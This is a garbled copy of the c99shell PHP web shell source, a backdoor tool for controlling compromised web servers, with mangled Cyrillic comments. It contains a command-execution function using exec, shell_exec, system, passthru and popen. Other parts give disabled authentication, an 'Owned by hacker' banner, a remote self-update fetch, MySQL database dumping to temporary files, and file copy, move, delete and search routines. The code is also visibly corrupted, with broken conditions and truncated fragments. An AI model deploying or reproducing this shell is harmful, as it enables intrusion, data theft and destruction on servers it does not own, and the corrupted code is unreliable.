Editing/Opening Files

 http://ccteam.ru/releases/c99shell

   ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql

   ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl",
   ???? ????-?????? ???????? $set_surl ? cookie "set_surl"

     ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.

* * Last modify: 21.05.2005 * * © Captain Crunch Security TeaM. Coded by tristram * ******************** */

*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/	$login = false; //turn off authentification

$donated_html = ”<center><b>Owned by hacker</b></center>“;

/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */

/* Highlighted files.

array(
 i=>array({regexp},{type},{opentag},{closetag},{break})
 ...
)
string {regexp} - regular exp.
int {type}:
 - files and folders (as default),
 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if true and found match then break

*/ $regxp_highlight = array(

array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
array("config.php",1) // example

);

@$f = $_REQUEST[“f”]; @extract($_REQUEST[“c99shcook”]);

if ($login_txt === false) {$login_txt = "";}
elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);

} } if ($act != “img”) { $lastdir = realpath(“.”); chdir($curdir); if4 { if ($selfwrite “1”) {$selfwrite = “c99shell.php”;} c99sh_getupdate(); $data = file_get_contents($c99sh_updatefurl); $fp = fopen($data,“w”); fwrite($fp,$data); fclose($fp); exit; } $sess_data = unserialize($_COOKIE[“$sess_cookie”]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data[“copy”])) {$sess_data[“copy”] = array();} if (!is_array($sess_data[“cut”])) {$sess_data[“cut”] = array();}

if (!function_exists(“c99_buff_prepare”)) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data[“copy”] as $k⇒$v) {$sess_data[“copy”][$k] = str_replace(“\\”,DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data[“cut”] as $k⇒$v) {$sess_data[“cut”][$k] = str_replace(“\\”,DIRECTORY_SEPARATOR,realpath($v));} $sess_data[“copy”] = array_unique($sess_data[“copy”]); $sess_data[“cut”] = array_unique($sess_data[“cut”]); sort($sess_data[“copy”]); sort($sess_data[“cut”]); if ($act != “copy”) {foreach($sess_data[“cut”] as $k⇒$v) {if ($sess_data[“copy”][$k] $v) {unset($sess_data[“copy”][$k]); }}} else {foreach($sess_data[“copy”] as $k⇒$v) {if ($sess_data[“cut”][$k] $v) {unset($sess_data[“cut”][$k]);}}} } } c99_buff_prepare(); if (!function_exists(“c99_sess_put”)) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } if ($sort_save) { if (!empty($sort)) {setcookie(“sort”,$sort);} if (!empty($sql_sort)) {setcookie(“sql_sort”,$sql_sort);} } if (!function_exists(“str2mini”)) { function str2mini($content,$len) { if (strlen($content) > $len) {

$len = ceil($len/2) - 2;
return substr($content, 0, $len)."...".substr($content, -$len);

} else {return $content;} } } if (!function_exists(“view_size”)) { function view_size($size) { if (!is_numeric($size)) {return false;} else {

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;

} } } if (!function_exists(“fs_copy_dir”)) { function fs_copy_dir($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while5 ! false) {

if (($o != ".") and ($o != ".."))
{
 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 if (!$ret) {return $ret;}
}

} closedir($h); return true; } } if (!function_exists(“fs_copy_obj”)) { function fs_copy_obj($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); $t = str_replace(“\\”,DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) {

if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);

} elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists(“fs_move_dir”)) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while5 ! false) {

if (($o != ".") and ($o != ".."))
{
 $ret = true;
 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
 if (!$ret) {return $ret;}
}

} closedir($h); return true; } } if (!function_exists(“fs_move_obj”)) { function fs_move_obj($d,$t) { $d = str_replace(“\\”,DIRECTORY_SEPARATOR,$d); $t = str_replace(“\\”,DIRECTORY_SEPARATOR,$t); if (is_dir($d)) {

if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);

} elseif (is_file($d)) {

if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return false;}

} else {return false;} } } if (!function_exists(“fs_rmdir”)) { function fs_rmdir($d) { $h = opendir($d); while5 ! false) {

if (($o != ".") and ($o != ".."))
{
 if (!is_dir($d.$o)) {unlink($d.$o);}
 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}

} closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists(“fs_rmobj”)) { function fs_rmobj($o) { $o = str_replace(“\\”,DIRECTORY_SEPARATOR,$o); if (is_dir($o)) {

if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);

} elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists(“myshellexec”)) { function myshellexec($cmd) { $result = “"; if (!empty($cmd)) {

if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (($result = `$cmd`) !== false) {}
elseif (is_resource($fp = popen($cmd,"r")))
{
 $result = "";
 while(!feof($fp)) {$result .= fread($fp,1024);}
 pclose($fp);
}

} return $result; } } if (!function_exists(”tabsort“)) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists(”view_perms“)) { function view_perms($mode) { if6 { function parse_perms($mode) { if7 { function view_perms_color($o) { if (!is_readable($o)) {return ”<font color=\“red\”>“.view_perms(fileperms($o)).”</font>“;} elseif (!is_writable($o)) {return ”<font color=\“white\”>“.view_perms(fileperms($o)).”</font>“;} else {return ”<font color=\“green\”>“.view_perms(fileperms($o)).”</font>“;} } } if (!function_exists(”gchds“)) {function gchds($a,$b,$c,$d=”“) {if ($a $b) {return $c;} else {return $d;}}} if (!function_exists(”c99sh_getupdate“)) { function c99sh_getupdate() { global $updatenow; $data = @file_get_contents($c99sh_updatefurl.”?version=“.$shver.”&“); if (!$data) {echo ”Can’t fetch update-information!“;} else {

$data = unserialize(base64_decode($data));
if (!is_array($data)) {echo "Corrupted update-information!";}
elseif ($shver < $data["cur"]) {$updatenow = true;}

} } } if (!function_exists(”mysql_dump“)) { function mysql_dump($set) { global $shver; $sock = $set[”sock“]; $db = $set[”db“]; $print = $set[”print“]; $nl2br = $set[”nl2br“]; $file = $set[”file“]; $add_drop = $set[”add_drop“]; $tabs = $set[”tabs“]; $onlytabs = $set[”onlytabs“]; $ret = array(); $ret[”err“] = array(); if (!is_resource($sock)) {echo(”Error: \$sock is not valid resource.“);} if (empty($db)) {$db = ”db“;} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) {

global $win;
if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}

} if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) 0) {

// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}

} $SERVER_ADDR = getenv(”SERVER_ADDR“); $SERVER_NAME = getenv(”SERVER_NAME“); $out = ”# Dumped by C99Shell.SQL v. “.$shver.” # Home page: http://ccteam.ru # # Host settings: # MySQL version: (“.mysql_get_server_info().”) running on “.$SERVER_ADDR.” (“.$SERVER_NAME.”)“.” # Date: “.date(”d.m.Y H:i:s“).” # “.gethostbyname($SERVER_ADDR).” (“.$SERVER_ADDR.”)“.” dump db \“".$db.”\“ #--------------------------------------------------------- ”; $c = count($onlytabs); foreach($tabs as $tab) {

if ((in_array($tab,$onlytabs)) or (!$c))
{
 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
 // recieve query for create table structure
 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
 if (!$res) {$ret["err"][] = mysql_smarterror();}
 else
 {
  $row = mysql_fetch_row($res);
  $out .= $row["1"].";\n\n";
  // recieve table variables
  $res = mysql_query("SELECT * FROM `$tab`", $sock);
  if (mysql_num_rows($res) > 0)
  {
   while ($row = mysql_fetch_assoc($res))
   {
    $keys = implode("`, `", array_keys($row));
    $values = array_values($row);
    foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
    $values = implode("', '", $values); 
    $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
    $out .= $sql;
   } 
  }
 }
}

} $out .= “#---------------------------------------------------------------------------------\n\n”; if ($file) {

$fp = fopen($file, "w"); 
if (!$fp) {$ret["err"][] = 2;}
else
{
 fwrite ($fp, $out);
 fclose ($fp);
}

} if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists(“mysql_buildwhere”)) { function mysql_buildwhere($array,$sep=“ and”,$functs=array()) { if (!is_array($array)) {$array = array();} $result = “"; foreach($array as $k⇒$v) {

$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;

} $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists(”mysql_fetch_all“)) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists(”mysql_smarterror“)) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists(”mysql_query_form“)) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if8 {if (!$sql_query_error) {$sql_query_error = ”Query was empty“;} echo ”<b>Error:</b> <br>“.$sql_query_error.”<br>“;} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if9 {

echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>";
if ($tbl_struct)
{
 echo "<td valign=\"top\"><b>Fields:</b><br>";
 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
 echo "</td></tr></table>";
}

} if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists(”mysql_create_db“)) { function mysql_create_db($db,$sock=”“) { $sql = ”CREATE DATABASE `“.addslashes($db).”`;“; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists(”mysql_query_parse“)) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (” “,$query); /*array array() {

"METHOD"=>array(output_type),
"METHOD1"...
...

} if output_type 0, no output, if output_type 1, no output if no error if output_type 2, output without control-buttons if output_type 3, output with control-buttons */ $types = array(

"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)

); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) {

$result["propertions"] = $types[$op];
$result["query"]  = $query;
if ($types[$op] == 2)
{
 foreach($arr as $k=>$v)
 {
  if (strtoupper($v) == "LIMIT")
  {
   $result["limit"] = $arr[$k+1];
   $result["limit"] = explode(",",$result["limit"]);
   if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
   unset($arr[$k],$arr[$k+1]);
  }
 }
}

} else {return false;} } } if (!function_exists(”c99fsearch“)) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while10 ! false) {

if($f != "." && $f != "..")
{
 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
 if (is_dir($d.$f))
 {
  $search_i_d++;
  if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  if (!is_link($d.$f)) {c99fsearch($d.$f);}
 }
 else
 {
  $search_i_f++;
  if ($bool)
  {
   if (!empty($a["text"]))
   {
    $r = @file_get_contents($d.$f);
    if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
    if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
    if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
    else {$bool = strpos(" ".$r,$a["text"],1);}
    if ($a["text_not"]) {$bool = !$bool;}
    if ($bool) {$found[] = $d.$f; $found_f++;}
   }
   else {$found[] = $d.$f; $found_f++;}
  }
 }
}